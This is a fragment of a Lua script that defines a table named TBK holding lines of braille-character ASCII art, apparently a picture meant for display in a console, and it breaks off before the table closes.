local TBK = {
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⢿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠛⣩⣭⣭⣭⣭⣭⣭⣭⣝⣛⡻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⠙⢻⣿⠿⣛⡭⠂⠀⠀⠀⣿⣿⣿⣿⣿⣫⣭⡍⠛⣛⣛⡳⠦⣭⡛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠡⠀⠀⠀⠚⠉⠀⠀⠌⠐⠀⣹⡿⠟⠛⢉⣡⣴⣾⣿⣿⣿⣿⣷⣌⢿⣷⣬⡛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠠⢁⠂⠀⠀⠀⡀⠠⠁⠌⠀⢀⣠⡴⢢⣵⣿⣿⣿⣿⣿⠿⢋⢭⣬⡉⢧⡰⣬⣽⣷⣝⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣛⣻⣽⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠄⠁⣈⣤⣾⡿⣫⣼⣿⣿⣿⣿⣿⠟⡉⠐⣋⣒⠀⠉⠂⢵⠹⡿⠟⣋⣥⢤⡝⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣝⣩⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⢿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢟⡁⢀⠀⠀⠀⠀⠀⡰⠀⣀⣤⣾⣿⡿⢋⣼⣿⣿⣿⣿⡿⠛⢁⣨⣴⣿⣿⣿⣿⢿⣶⣶⡆⠐⠛⠛⠯⢘⣿⡌⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠈⠉⠹⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢋⣄⠙⠉⠁⠀⠀⠀⣀⣤⣶⡿⢋⣼⡿⠋⣴⣿⣿⣿⣿⣿⠏⢀⣴⣿⣿⣿⣿⣿⣿⠏⣼⣿⣿⣿⠘⣿⣆⠑⢨⣿⣷⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣀⣀⣌⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⡦⠭⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣩⣾⣿⣿⣷⡀⠀⠀⢀⣨⣭⡭⠁⣠⣿⠟⢀⣾⣿⣿⣿⣿⠟⣁⣾⣿⣿⣿⣿⣿⣿⣿⠏⣼⣿⣿⣿⣿⠀⢻⡝⢆⠐⣿⣿⣧⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠙⣛⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⡏⢀⠁⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢁⣰⣿⣿⣿⣿⣿⡷⠀⢠⣾⣿⣿⠃⣴⠿⠁⢠⣿⣿⣿⣿⣿⠋⣴⣿⣿⣿⣿⡿⢟⣫⣶⡟⣰⣿⣿⣿⣿⠇⢸⠈⣿⡌⠀⣿⣿⣿⠈⠉⠙⠛⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡠⣴⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣷⣮⠷⣲⣿⣿⣿⣿⣿⣿⣿⣿⠟⣡⣶⡿⠟⣿⣿⣿⡟⠋⠀⣰⣿⣿⣿⢏⠘⠉⠀⣰⣿⣿⣿⣿⡿⢃⣼⠿⣫⠝⠋⣥⣶⣿⡿⠋⣠⣿⣿⣿⣿⠏⡀⣿⠇⣿⣷⠀⣿⣿⣿⡄⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣟⠁⢠⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣷⠀⠾⢿⣿⣿⣿⣿⣿⣿⠟⣁⣬⣥⣶⠖⣰⣿⠟⠉⠀⢂⣼⡿⢿⣿⠃⠞⣠⡀⢰⣿⣿⣿⣿⠏⠁⣾⠡⠞⣉⢠⣿⣿⡿⠋⡀⣠⣾⣿⣿⣿⠋⡜⣸⣿⠃⣿⣿⠆⣿⣿⣿⡄⠀⢀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⠟⠾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⣼⠟⣁⣴⡇⢀⣾⡟⠁⣾⠃⣠⢾⡿⠁⣿⣿⣿⣦⡌⠀⠀⠀⠺⣿⢃⣿⠟⠩⠴⡟⣰⣿⣿⣿⣿⢃⡾⠀⣿⣿⢸⣿⣿⠇⣿⣿⡿⢹⡄⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠐⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⡇⠀⠔⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠜⣡⣾⣿⣿⢠⡿⢋⠴⠀⢃⣾⠇⣼⠇⢸⣿⣿⣿⣿⡇⠀⠀⠀⢀⠀⠉⢴⣿⣿⡟⠐⢃⣾⣿⡟⢡⠞⣰⠇⣹⡇⣸⣿⣿⠃⣿⣿⣷⢸⣧⢹⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣷⣀⣤⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⣠⣾⣿⣿⣿⢃⠟⢠⣟⠠⠀⢿⠇⢠⣿⠀⣸⣿⣿⣿⡟⠀⣂⠀⠀⣀⣼⣦⠀⣹⠟⣠⠎⣼⠿⠋⠰⢂⣼⡿⠇⢹⢠⣿⣿⢹⠰⣿⣿⡇⣾⣿⣇⢿⣿⣿⣿⣿⣿⡿⠀⡠⢀⣿⣿⡁⢀⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣷⢼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⡏⢠⣦⠘⣽⠀⡀⠈⠀⣸⠏⠀⣾⣿⣿⡟⡁⠀⣽⣿⣿⣿⣿⣿⣿⢋⣼⡟⠘⣣⡞⠀⠀⠚⠉⠉⠀⠀⣼⣿⠇⡾⢸⣿⣿⢡⣿⠄⣙⢆⢿⣿⣿⣿⣿⣷⠶⠖⢻⣿⣿⣧⣸⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣰⠿⣋⠀⡍⢃⠀⢸⡀⡟⢠⠃⢾⣿⣿⠃⡇⣇⢻⣿⣿⣿⣿⣿⣿⣿⣏⣠⣿⣿⠀⠀⠀⢒⣴⠆⠀⢠⣾⡿⢸⠃⢸⣿⡇⡾⢸⠃⣿⣧⣄⢿⣿⣿⣿⡷⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠹⠹⠇⠇⠿⠿⠀⠸⡀⠀⣿⠰⠁⠸⠆⢹⣿⣿⢀⠁⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣆⣶⣏⣱⠆⢀⣿⣿⢁⡏⠀⣿⣿⢰⡇⣿⢁⣿⣿⣿⣷⡈⣿⣿⢁⣰⣶⣀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⡿⠿⠿⠿⢖⣈⣓⠷⣶⣶⣶⣤⣤⣟⠀⢠⠘⡠⠸⣿⡿⢈⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣹⣿⣿⣿⣿⡿⢁⠂⣸⡿⠁⡾⢡⢠⣿⢃⣾⠁⢿⢸⣿⣿⣿⣿⣿⣿⣿⣿⡍⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣞⣽⡇⢀⣿⡇⠀⠀⢿⡇⢸⢰⡎⢻⣿⡇⣤⣦⣍⡛⠿⣿⣿⣿⣿⣿⣿⠏⠠⡜⢀⡟⣡⠐⢡⡃⣼⢃⣾⡏⣾⠘⣸⣿⣿⣿⣿⣿⣿⣿⣿⣀⣀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠛⡉⠒⢛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣯⠇⣸⡿⣏⡀⣤⢸⡇⠈⢸⣿⣦⡹⣿⣦⣭⣉⣩⣴⣾⣿⠿⠟⠋⠁⢬⡑⠂⠈⡴⡇⠀⠀⠐⢃⢸⣿⢰⣿⠆⣽⣿⣿⣿⣿⣿⣿⣿⣿⢉⣩⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣫⣵⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⡹⣦⣽⢻⣽⣻⢿⡀⣿⠀⠈⠻⣿⣷⣮⡛⠛⠛⠋⠉⢠⣶⠆⠘⠀⢘⠦⠁⠀⡼⣳⠁⢀⠀⣰⡋⢸⠇⣾⣿⡃⢿⣿⣿⣿⣿⣿⣿⣿⣿⣤⢰⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣍⡉⠶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⣯⠟⣮⡽⢯⡇⢸⠀⠀⠀⠀⠈⠙⠛⠋⠀⠀⢠⣟⡿⠆⢁⡆⡘⠆⡴⢀⡷⠃⢀⣤⠆⣧⠃⡟⣨⣭⡥⣠⣾⣿⣿⣿⣿⣿⣿⣿⣟⣍⠠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠶⠮⢍⡛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣌⠻⣯⠙⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⢨⣟⠀⣼⠀⠅⣴⡇⡼⠁⣰⣿⣷⡆⡳⢠⢱⡿⣫⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⢖⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⢻⣷⣾⣧⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠏⢸⡏⠀⣨⣿⠃⢂⣾⣿⣿⣿⡇⠇⢠⣯⣬⠛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠡⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⡡⠍⢁⣴⣿⡿⠿⢟⣻⣿⣿⣿⠿⣧⣶⣿⡿⠿⢿⣧⢻⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⠏⣠⣿⣿⣿⣿⣿⡇⢀⣾⠷⣂⣠⣝⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⡠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣫⡔⣱⡿⢛⣥⣶⣾⣿⣿⣿⢟⣉⣾⣯⣽⣶⣾⣦⡀⢍⠂⣿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⢀⣀⠈⠹⢏⣼⣿⣿⣿⣿⣿⠻⠃⣨⣵⣿⣿⣿⣿⣿⡬⠻⣿⣿⣿⣿⣿⣿⣿⡅⢀⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣩⣾⠋⢞⣭⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠙⠀⠀⢨⢥⣀⠂⠖⣒⠒⠶⠖⣛⣭⣾⡿⠿⢃⡀⠻⢿⣿⣿⣾⣯⣤⣤⡬⢛⣻⣿⣿⣿⣿⣿⡿⢰⣿⣿⣿⣿⣿⣿⣿⣷⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⣾⣿⣥⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣴⣧⠀⡬⢾⣭⣟⣷⣶⣾⣽⣿⠟⡋⣵⡆⠞⠋⠀⠘⠦⢬⡙⠛⣫⣭⣶⣾⣿⣿⣿⣿⣿⣿⡿⢡⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠳⣝⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠘⣷⣻⢾⣟⣿⣿⠟⢡⣾⡇⠋⣀⣤⡖⠀⠀⠀⠈⠱⡆⢘⣿⣿⣿⣿⣿⣿⣿⣿⡿⣡⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣭⡻⢿⣿⣿⣿⣿⣿⣿⣇⢘⢽⣯⣿⠿⠃⣼⡜⠋⢀⣼⠟⠁⠀⠠⠀⠀⠀⠀⢡⡆⠘⢿⣿⣿⣿⣿⣿⡟⣱⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣎⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣍⡻⣿⣿⣿⣿⣿⡄⠈⠀⠁⣀⠈⢛⣁⣤⣬⡄⣀⣀⡁⠂⠀⢠⣴⣄⢶⣷⡄⢀⢍⡻⢿⣿⠟⢤⣝⡻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡹⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣬⡻⣿⣿⣿⣷⡀⠡⠀⢿⣤⠈⢛⣛⣛⣑⣛⠋⣀⠀⠀⢈⠻⠟⡈⣿⣥⣌⠈⢿⣦⣅⣈⣤⣬⣿⣦⢙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢐⣮⣝⡻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣬⠻⣿⡟⣇⢠⣿⠘⣡⣦⣈⠛⣿⠟⠫⠿⠋⠀⠀⢸⡀⠻⠷⠙⠛⢛⠀⠈⣿⣿⣿⣿⣿⠟⣱⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢡⣾⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠎⠃⠋⣼⣿⣦⣛⢿⣿⡄⠰⣶⣶⣦⣴⠀⠀⠈⠑⡿⠇⣰⡌⣿⡇⠀⣿⣿⣿⣿⠅⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢛⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠶⣮⣭⣛⣻⠟⢋⣍⠁⠚⢃⠀⣿⣿⣿⣿⣦⣝⠻⠀⠈⠁⢉⠁⠀⠀⠀⠀⠀⣨⣭⠅⠀⠀⠀⢹⣿⣿⠋⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⡟⣡⣶⣶⣶⣭⣝⣛⠶⡖⢢⡄⣾⡀⠙⢿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠉⠀⠂⢠⣾⡏⢸⣿⣿⣿⣶⣌⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣮⠹⡿⣛⣻⣭⣽⣶⣾⣿⠟⣡⣾⢏⣼⣿⣿⣿⣿⣿⣿⣿⣷⣮⣄⠁⢻⣰⣿⣦⣍⡛⠟⠁⠀⠀⠀⠣⠀⠀⠀⠀⠀⠀⠀⠐⢀⠀⢸⣿⠃⢈⡻⠿⠟⠻⣿⣷⣌⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣡⣷⡄⢉⣻⣿⣿⡿⢛⣡⣾⡿⣣⣾⣿⣿⣿⣿⣿⣿⣿⣿⡿⢟⡋⡀⡈⠛⢿⣿⣿⠏⣴⠂⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠘⢃⡤⠘⣿⣦⣝⡳⢌⠻⣿⣷⣜⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢋⣼⣿⠏⣴⣿⣿⣟⣋⣴⣿⡿⢋⣼⣿⣿⣿⣿⣿⣿⠿⠛⢋⣩⣶⣿⣷⣔⠉⠂⢄⠀⠉⠀⠉⠀⠀⠘⡀⠂⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠟⢣⠶⢨⣙⢿⣿⣶⣥⣈⠻⣿⣷⡜⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣱⣿⣿⡏⣼⣿⣿⣿⣿⣿⣿⠟⣵⣿⣿⣿⡿⢟⡛⣩⠔⢊⢵⣿⣿⣿⣿⣿⣿⣿⣶⣦⣬⣴⠆⠀⠀⠀⠀⠀⠀⠁⠁⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠋⢠⣿⣿⣦⡝⢿⣿⣿⣷⣮⡛⣿⣦⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⢏⣴⣿⣿⡿⠐⣻⣿⣿⣿⣿⡟⣡⣿⡿⢟⣩⣶⣾⠋⢌⠡⡄⣡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⢀⠀⠀⠁⠀⠀⠀⠀⠌⠀⠀⠘⣷⣶⣴⣦⣴⣿⣿⣿⣿⣿⡇⠙⠻⣿⣿⣿⡘⣿⣷⡙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⡿⢣⣾⣿⣿⣿⠃⣰⣿⣿⣿⡿⢋⣾⡿⡟⣱⣿⣿⡟⠁⣴⠀⣀⣀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⡐⠀⠠⠀⠀⠀⠀⠀⠂⢀⠐⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⡇⣮⢻⣿⡇⢿⣿⣿⣌⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⡟⣰⣿⣿⣿⣿⡟⣰⣿⣿⣿⢟⣵⢟⣥⡞⣰⣿⣿⠏⠀⡄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠄⠀⡐⠀⠐⠀⠀⠀⠀⠐⠀⡀⠈⢀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⢣⣿⢂⢙⢿⠘⣿⣿⣿⣦⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⢏⣴⣿⣿⣿⣿⡿⣡⣿⣿⣿⣧⠞⣵⣾⢋⣼⣿⣿⢃⢰⡌⣇⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠠⠀⠂⢀⠈⢀⠂⠀⠀⠀⠈⢀⠀⠐⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⣿⡿⢣⣾⢏⣾⢸⡇⣇⢻⣿⣿⣿⣧⡙⡻⠿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⡿⢣⣾⣿⣿⣿⣿⡿⢰⣿⣿⣿⠟⣡⣿⡿⣡⣿⣿⣿⠁⢸⠸⣧⡻⣷⣍⡛⠿⣿⣿⣿⣿⡿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠐⠀⠠⠀⠂⢀⠀⠀⠀⠈⠀⠀⠂⠀⠁⠀⠀⠀⠀⠨⣉⣉⡭⣥⠶⠛⣡⣾⢣⣾⠃⣿⡘⣿⣿⣿⣿⣷⡙⣿⡲⢍⡻⢿⣿⣿⣿⣿",
"⣿⣿⡿⣵⣿⣿⣿⣿⣿⡿⢡⣿⣿⡿⢋⣾⣿⢏⣴⣿⣿⣿⠇⠀⠈⢳⣝⠿⣎⡛⠿⠷⠖⠦⡲⠄⠂⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠈⢀⠐⠀⡀⠀⠀⠀⠀⠈⠀⡀⠁⠀⠁⠀⠀⠀⠀⠒⠤⠤⡴⠶⠿⢛⣡⡿⠋⠀⣿⣧⢻⣿⣿⣿⣿⣷⡜⣿⣌⠙⠶⡙⣿⣿⣿",
"⣿⣟⣼⣿⣿⣿⣿⣿⣿⢡⣿⣿⡿⢡⣿⡿⢃⣾⣿⣿⣿⡿⠀⠀⠀⠐⠌⡓⠤⠍⣈⣉⠚⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠁⠀⡀⠄⠀⠐⠀⠀⠀⠀⠁⠀⢀⠈⠀⠀⠀⠀⠀⠀⠀⠓⠐⠚⠍⠋⠁⠀⠀⠀⣿⣿⡌⣿⣿⣿⣿⣿⣿⡌⣿⣷⡱⡝⠘⣿⣿",
"⢟⣾⣿⣿⣿⣿⣿⣿⢃⣾⣿⣿⠁⠾⠟⣡⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠐⠀⠀⠀⠀⠀⠄⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣷⠸⣿⣿⣿⣿⣿⣿⡌⢿⣷⡸⣆⢸⣿",
"⣾⣿⣿⣿⣿⣿⣿⢃⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⡀⠄⠀⠠⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⢿⣿⣿⣿⣿⣿⣿⡌⣿⡇⣿⣼⣿",
"⣿⣿⣿⣿⣿⣿⡇⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⡀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⡸⣇⣸⣿⣿",
"⣿⣿⣿⣿⣿⡟⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢀⠈⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡆⣿⣿⣿⣿⣿⣿⣿⣧⠁⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⡀⠈⠀⠀⠠⠀⠐⠀⣰⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠁⠀⡀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣷⢸⣿⣿⣿⣿⣿⣿⣿⣇⢻⣿⣿",
